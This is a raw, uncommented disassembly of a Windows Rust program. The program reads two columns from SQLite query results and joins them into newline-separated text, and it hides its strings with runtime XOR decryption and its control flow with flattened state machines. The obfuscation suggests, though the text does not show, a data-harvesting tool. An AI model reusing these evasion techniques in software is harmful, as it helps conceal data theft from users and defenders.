movd xmm0, ecx
mov qword [rdi], rbx
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r15
movd eax, xmm0
mov word [rdi + 0x18], ax
lea rcx, [rsp + 0x260]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
mov r14d, 8
mov r12d, 0x1a
cmp qword [rsp + 0x240], 0
je 0x1400111a5
mov r8, qword [rsp + 0x248]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov r15d, 8
mov ebx, 0x1a
lea rbp, [rsp + 0xa0]
mov rdx, qword [rsp + 0x170]
cmp rdx, qword [rsp + 0x160]
jne 0x1400111df
lea rcx, [rsp + 0x160]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h71c9434ecbf8f4fb
mov rdx, qword [rsp + 0x170]
mov rax, qword [rsp + 0x168]
lea rcx, [rdx + rdx*2]
shl rcx, 4
mov qword [rax + rcx], r15
mov qword [rax + rcx + 8], rsi
mov qword [rax + rcx + 0x10], r14
mov qword [rax + rcx + 0x18], r12
mov qword [rax + rcx + 0x20], rdi
mov qword [rax + rcx + 0x28], rbx
inc rdx
mov qword [rsp + 0x170], rdx
mov rdi, qword [rsp + 0x148]
lea r15, [rsp + 0x258]
mov r8, qword [rsp + 0x300]
cmp qword [r8], 0
je 0x14001124f
mov r8, qword [r8 + 8]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov r8, qword [rsp + 0x300]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov ebx, 0x1b83a9cc
mov eax, dword [rsp + 0x17c]
xor eax, ebx
jmp 0x14000d21d
lea rax, [rsp + 0x260]
movups xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x1d0], xmm0
movups xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x1c0], xmm0
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x1b0], xmm3
movaps xmmword [rsp + 0x1a0], xmm2
movaps xmmword [rsp + 0x190], xmm1
movaps xmmword [rsp + 0x180], xmm0
lea rax, [0x1402b8d5d]
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x1f8]
movabs rax, 0xd1ca13bf677575e0
mov qword [rsp + 0x1f8], rax
mov rdx, qword [rsp + 0x1f8]
call sym.obfstr::xref::inner::h92508a65ec3989e2
mov rcx, qword [rax]
movabs rdx, 0x986552092157da20
xor rcx, rdx
mov rdx, qword [rax + 8]
movabs r8, 0xa36e36a876a9087b
xor rdx, r8
mov r8d, dword [rax + 0x10]
mov r9d, 0xd2db8ad5
xor r8d, r9d
movzx eax, word [rax + 0x14]
mov r9d, eax
xor r9b, 0xb5
shr eax, 8
xor al, 0x19
movzx r9d, r9b
movzx eax, al
shl eax, 8
or eax, r9d
mov qword [rsp + 0x1f8], rcx
mov qword [rsp + 0x200], rdx
mov dword [rsp + 0x208], r8d
mov word [rsp + 0x20c], ax
cmp qword [rsp + 0x1c0], 0
jne 0x140011e53
mov qword [rsp + 0x1c0], 0xffffffffffffffff
mov rdx, qword [rsp + 0x1d0]
mov qword [rsp + 0x20], 0x16
lea rcx, [rsp + 0x3b8]
mov r8, r14
mov r9, r15
call sym.rusqlite::inner_connection::InnerConnection::prepare::he7641878dc573686
inc qword [rsp + 0x1c0]
mov rax, qword [rsp + 0x3b8]
test rax, rax
je 0x140011a98
lea rcx, [rsp + 0x3c0]
movdqu xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmm2, xmmword [rcx + 0x20]
movups xmm3, xmmword [rcx + 0x30]
lea rcx, [rsp + 0x200]
movups xmmword [rcx + 0x30], xmm3
movups xmmword [rcx + 0x20], xmm2
movups xmmword [rcx + 0x10], xmm1
movdqu xmmword [rcx], xmm0
mov qword [rsp + 0x1f8], rax
mov rcx, qword [rsp + 0x230]
call sym.sqlite3_bind_parameter_count
test eax, eax
jne 0x140011ea3
mov qword [rsp + 0x2c0], r15
mov qword [rsp + 0x2c8], 0
mov qword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], 8
mov qword [rsp + 0x2e0], 0
mov esi, 0xb0a801a1
xor eax, eax
lea r14, [rsp + 0x110]
lea r15, [sym.__alloc::string::String_as_core::fmt::Display_::fmt::hf227f51f5a377cca]
jmp 0x14001147d
mov qword [rsp + 0x2c0], 0
mov rcx, qword [rdi + 0x38]
call sym.sqlite3_reset
mov qword [rsp + 0x2c8], 0
mov eax, 0x86902bb
xor esi, eax
cmp esi, 0xb0a801a1
je 0x1400118b0
cmp esi, 0xf0d6e506
je 0x1400117a6
cmp esi, 0xf8bfe7bd
je 0x140011959
xor esi, eax
jmp 0x14001147d
mov qword [rsp + 0x2c8], rdi
mov qword [rsp + 0x348], rbx
mov byte [rsp + 0x340], 0x13
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x120], 0
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 1
mov qword [rsp + 0x90], 0
xor eax, eax
mov edi, 0x4761643
jmp 0x140011543
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x120], rax
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x110], xmm0
mov eax, 0x987ddef8
xor edi, eax
cmp edi, 0x9c0bc8bb
je 0x1400115e0
cmp edi, 0x4761643
je 0x140011570
cmp edi, 0xc717491f
je 0x140011670
xor edi, eax
jmp 0x140011543
mov rdx, qword [rsp + 0x2c8]
mov rcx, rbp
xor r8d, r8d
call sym.rusqlite::row::Row::get::hfbd9225a52867a60
cmp byte [rsp + 0xa0], 0x13
jne 0x140011daa
lea rcx, [rsp + 0xa8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x30], xmm0
cmp qword [rsp + 0x110], 0
je 0x140011520
mov r8, qword [rsp + 0x118]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x140011520
mov rdx, qword [rsp + 0x2c8]
mov r8d, 1
mov rcx, rbp
call sym.rusqlite::row::Row::get::hfbd9225a52867a60
cmp byte [rsp + 0xa0], 0x13
jne 0x140011daa
lea rcx, [rsp + 0xa8]
mov rax, qword [rcx + 0x10]
mov qword [rsp + 0x40], rax
movups xmm0, xmmword [rcx]
movaps xmmword [rsp + 0x30], xmm0
cmp qword [rsp + 0x80], 0
je 0x14001163e
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x90], rax
movdqa xmm0, xmmword [rsp + 0x30]
movdqa xmmword [rsp + 0x80], xmm0
mov eax, 0x5b1c81a4
xor edi, eax
jmp 0x140011543
cmp qword [rsp + 0x120], 0
je 0x14001174d
cmp qword [rsp + 0x90], 0
je 0x14001174d
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], r15
lea rax, [rsp + 0x80]
mov qword [rsp + 0xb0], rax
mov qword [rsp + 0xb8], r15
lea rax, str.called__Option::unwrap____on_a__None__value_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrarycore_srcio_borrowed_buf.rs_rustc_07dca489ac2d933c78d3c5158e3f43beefeb02celibrary_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], 2
lea rcx, [rsp + 0xf8]
lea rdx, [rsp + 0x30]
call sym.alloc::fmt::format::format_inner::h725a159371b68f1e
mov rdx, qword [rsp + 0x2e0]
cmp rdx, qword [rsp + 0x2d0]
jne 0x14001171b
lea rcx, [rsp + 0x2d0]
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h49d893b5445c7f1b
mov rdx, qword [rsp + 0x2e0]
mov rax, qword [rsp + 0x2d8]
lea rcx, [rdx + rdx*2]
mov r8, qword [rsp + 0x108]
mov qword [rax + rcx*8 + 0x10], r8
movdqu xmm0, xmmword [rsp + 0xf8]
movdqu xmmword [rax + rcx*8], xmm0
inc rdx
mov qword [rsp + 0x2e0], rdx
cmp qword [rsp + 0x80], 0
je 0x14001176e
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
cmp qword [rsp + 0x110], 0
je 0x14001178f
mov r8, qword [rsp + 0x118]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
cmp byte [rsp + 0x340], 0x13
je 0x1400117a6
lea rcx, [rsp + 0x340]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
mov rdi, qword [rsp + 0x2c0]
test rdi, rdi
je 0x14001146a
mov rcx, qword [rdi + 0x38]
call sym.sqlite3_step
cmp eax, 0x64
je 0x1400114b0
cmp eax, 0x65
je 0x140011455
mov rbx, qword [rdi]
mov rcx, qword [rbx + 0x40]
movabs rdx, 0x8000000000000001
add rdx, 0xfffffffffffffffe
cmp rcx, rdx
jae 0x140011dfb
lea rdx, [rcx + 1]
mov qword [rbx + 0x40], rdx
test eax, eax
je 0x140011e9a
mov rdx, qword [rbx + 0x50]
lea rcx, [rsp + 0x30]
mov r8d, eax
call sym.rusqlite::error::error_from_handle::h646d8dbc9edf6007
movzx ebp, byte [rsp + 0x30]
dec qword [rbx + 0x40]
cmp bpl, 0x13
je 0x140011e0b
movzx ebx, byte [rsp + 0x31]
lea rax, [rsp + 0x32]
movdqu xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmm2, xmmword [rax + 0x20]
movups xmm3, xmmword [rax + 0x2e]
lea rax, [rsp + 0x342]
movups xmmword [rax + 0x2e], xmm3
movups xmmword [rax + 0x20], xmm2
movups xmmword [rax + 0x10], xmm1
movdqu xmmword [rax], xmm0
mov qword [rsp + 0x2c0], 0
mov rcx, qword [rdi + 0x38]
call sym.sqlite3_reset
mov qword [rsp + 0x2c8], 0
mov byte [rsp + 0x340], bpl
mov byte [rsp + 0x341], bl
lea rcx, [rsp + 0x340]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
mov eax, 0x86902bb
lea rbx, [rsp + 0x2c8]
lea rbp, [rsp + 0xa0]
xor esi, eax
jmp 0x14001147d
mov rdi, qword [rsp + 0x2e0]
test rdi, rdi
je 0x140011900
mov rbx, qword [rsp + 0x2d8]
add rbx, 8
jmp 0x1400118d9
add rbx, 0x18
dec rdi
je 0x140011900
cmp qword [rbx - 8], 0
je 0x1400118d0
mov r8, qword [rbx]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x1400118d0
cmp qword [rsp + 0x2d0], 0
je 0x140011921
mov r8, qword [rsp + 0x2d8]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov qword [rsp + 0x2d0], 0
mov qword [rsp + 0x2d8], 8
mov qword [rsp + 0x2e0], 0
mov eax, 0x407ee4a7
lea rbx, [rsp + 0x2c8]
xor esi, eax
jmp 0x14001147d
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 0
mov rax, qword [rsp + 0x2e0]
test rax, rax
je 0x140011c37
mov r15, qword [rsp + 0x2d8]
shl rax, 3
lea r12, [rax + rax*2]
mov edi, 1
xor r13d, r13d
xor ebx, ebx
jmp 0x1400119ca
mov rdi, qword [rsp + 0x38]
mov byte [rdi + rbx], 0xa
inc rbx
mov qword [rsp + 0x40], rbx
add r13, 0x18
cmp r12, r13
je 0x140011a31
mov r14, qword [r15 + r13 + 8]
mov rsi, qword [r15 + r13 + 0x10]
mov rax, qword [rsp + 0x30]
sub rax, rbx
cmp rax, rsi
jb 0x140011a15
add rdi, rbx
mov rcx, rdi
mov rdx, r14
mov r8, rsi
call sym.memcpy
add rbx, rsi
mov qword [rsp + 0x40], rbx
cmp rbx, qword [rsp + 0x30]
jne 0x1400119b0
lea rcx, [rsp + 0x30]
mov rdx, rbx
call sym.alloc::raw_vec::RawVec_T_A_::reserve_for_push::h093945ba0e96482d
mov rbx, qword [rsp + 0x40]
jmp 0x1400119b0
lea rcx, [rsp + 0x30]
mov rdx, rbx
mov r8, rsi
call sym.alloc::raw_vec::RawVec_T_A_::reserve::do_reserve_and_handle::h24ab4290410c667d
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
jmp 0x1400119e1
mov r12, qword [rsp + 0x30]
mov r13, qword [rsp + 0x2e0]
mov r15, qword [rsp + 0x240]
mov rsi, qword [rsp + 0x248]
mov r14, qword [rsp + 0x250]
test r13, r13
je 0x140011c6a
mov rbp, qword [rsp + 0x2d8]
add rbp, 8
jmp 0x140011a7d
add rbp, 0x18
dec r13
je 0x140011bbb
cmp qword [rbp - 8], 0
je 0x140011a70
mov r8, qword [rbp]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
jmp 0x140011a70
mov rax, r15
mov r15, qword [rsp + 0x240]
mov rsi, qword [rsp + 0x248]
mov r14, qword [rsp + 0x250]
lea rcx, [0x1402baeb2]
mov qword [rsp + 0x1f8], rcx
mov rcx, qword [rsp + 0x1f8]
movabs rdx, 0x80f02e3026d9129d
mov qword [rsp + 0x1f8], rdx
mov rdx, qword [rsp + 0x1f8]
call sym.obfstr::xref::inner::had686f1797861aab
mov rbx, qword [rax]
movabs rcx, 0x9ba28f8377835dfd
xor rbx, rcx
mov r12, qword [rax + 8]
movabs rcx, 0x8422a0b58003dfea
xor r12, rcx
mov r13, qword [rax + 0x10]
movabs rcx, 0xdb0cd927d6b97d4f
xor r13, rcx
movzx ebp, word [rax + 0x18]
movzx eax, byte [0x140361100]
mov rax, qword [0x1403610c8]
test rax, rax
jne 0x140011b47
call sub.KERNEL32.dll_GetProcessHeap
test rax, rax
je 0x140011dec
mov qword [0x1403610c8], rax
mov r8d, 0x1a
mov rcx, rax
xor edx, edx
call fcn.14014aadc
test rax, rax
je 0x140011dec
mov rdi, rax
mov eax, ebp
xor al, 0x53
shr ebp, 8
xor bpl, 0x3f
movzx eax, al
movzx ecx, bpl
shl ecx, 8
or ecx, eax
movd xmm0, ecx
mov qword [rdi], rbx
mov qword [rdi + 8], r12
mov qword [rdi + 0x10], r13
movd eax, xmm0
mov word [rdi + 0x18], ax
lea rcx, [rsp + 0x3c0]
call sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
mov r12d, 0x1a
mov ebx, 0x1a
mov r13, qword [rsp + 0xf0]
lea rbp, [rsp + 0xa0]
jmp 0x140011c0f
mov r13, qword [rsp + 0xf0]
lea rbp, [rsp + 0xa0]
cmp qword [rsp + 0x2d0], 0
je 0x140011bec
mov r8, qword [rsp + 0x2d8]
mov rcx, qword [0x1403610c8]
xor edx, edx
call fcn.14014aabc
mov rax, qword [rsp + 0x2c0]
test rax, rax
je 0x140011c02
mov rcx, qword [rax + 0x38]
call sym.sqlite3_reset
lea rcx, [rsp + 0x1f8]
call sym.core::ptr::drop_in_place_rusqlite::statement::Statement_::h6e4c589cc82dfef7
lea rcx, [rsp + 0x180]
call sym.core::ptr::drop_in_place_rusqlite::Connection_::h2c753fd0dd13ad92
mov rdx, qword [rsp + 0x170]
cmp rdx, qword [rsp + 0x160]
je 0x1400111ca
jmp 0x1400111df
mov r15, qword [rsp + 0x240]
mov rsi, qword [rsp + 0x248]
mov r14, qword [rsp + 0x250]
mov edi, 1
xor r12d, r12d
xor ebx, ebx
cmp qword [rsp + 0x2d0], 0
jne 0x140011bd6
jmp 0x140011bec
mov r13, qword [rsp + 0xf0]
cmp qword [rsp + 0x2d0], 0
jne 0x140011bd6
jmp 0x140011bec
mov rax, qword [rsp + 0x170]
mov rcx, qword [rsp + 0x380]
mov qword [rcx + 0x10], rax
movups xmm0, xmmword [rsp + 0x160]
movups xmmword [rcx], xmm0
movaps xmm6, xmmword [rsp + 0x400]
movaps xmm7, xmmword [rsp + 0x410]
movaps xmm8, xmmword [rsp + 0x420]
movaps xmm9, xmmword [rsp + 0x430]
add rsp, 0x448
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
test rcx, rcx
jne 0x140011d87
call sym.alloc::raw_vec::capacity_overflow::he878bd52295379cc
movdqu xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movups xmm2, xmmword [rsp + 0xc0]
movups xmm3, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
lea rax, str.src_builder_generics.rs
jmp 0x140011d65
movdqu xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movups xmm2, xmmword [rsp + 0xc0]
movups xmm3, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
lea rax, str.src_builder_generics.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, sym.core::ptr::drop_in_place_rusqlite::error::Error_::h739c5fc74a5d026c
lea r8, [rsp + 0x30]
mov edx, 0x2b
call sym.core::result::unwrap_failed::he510860cc1c360dc
mov rdx, qword [rsp + 0xb0]
call sym.alloc::alloc::handle_alloc_error::hc580476980f9927e
test rcx, rcx
je 0x140011ce4
mov rdx, qword [rsp + 0x190]
call sym.alloc::alloc::handle_alloc_error::hc580476980f9927e
movdqu xmm0, xmmword [rsp + 0xa0]
movups xmm1, xmmword [rsp + 0xb0]
movups xmm2, xmmword [rsp + 0xc0]
movups xmm3, xmmword [rsp + 0xd0]
movaps xmmword [rsp + 0x60], xmm3
movaps xmmword [rsp + 0x50], xmm2
movaps xmmword [rsp + 0x40], xmm1
movdqa xmmword [rsp + 0x30], xmm0
lea rax, str.src_builder_generics.rs
jmp 0x140011d65
mov ecx, 1
mov edx, 0x1a
call sym.alloc::alloc::handle_alloc_error::hc580476980f9927e
lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_rusqlite_0.30.0_src_lib.rs
call sym.core::cell::panic_already_mutably_borrowed::hb2fca1a5cc01393c
mov qword [rdi + 0x40], rcx
lea rax, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_rusqlite_0.30.0_src_statement.rsunexpected_SQLITE_TEXT_column_type_with_NULL_data
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap_err____on_an__Ok__value
lea r9, sym.core::ptr::drop_in_place____::hf18e61cc73d68136
lea r8, [rsp + 0xa0]
mov edx, 0x2e
call sym.core::result::unwrap_failed::he510860cc1c360dc
mov ecx, 1
mov edx, 8
call sym.alloc::alloc::handle_alloc_error::hc580476980f9927e
mov ecx, 1
mov rdx, rdi
call sym.alloc::alloc::handle_alloc_error::hc580476980f9927e
lea rcx, str._root_.cargo_registry_src_index.crates.io_6f17d22bba15001f_rusqlite_0.30.0_src_lib.rs
call sym.core::cell::panic_already_borrowed::hd41cbf2261710bb6
cdqe
mov byte [rsp + 0x30], 0x11
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
jmp 0x140011d5e
cdqe
mov byte [rsp + 0x30], 0x11
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
lea rax, str.src_builder_generics.rs
jmp 0x140011d65
mov qword [rbx + 0x40], rcx
jmp 0x140011e0b
cdqe
mov byte [rsp + 0x30], 0x11
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
lea rax, str.src_builder_generics.rs
jmp 0x140011d65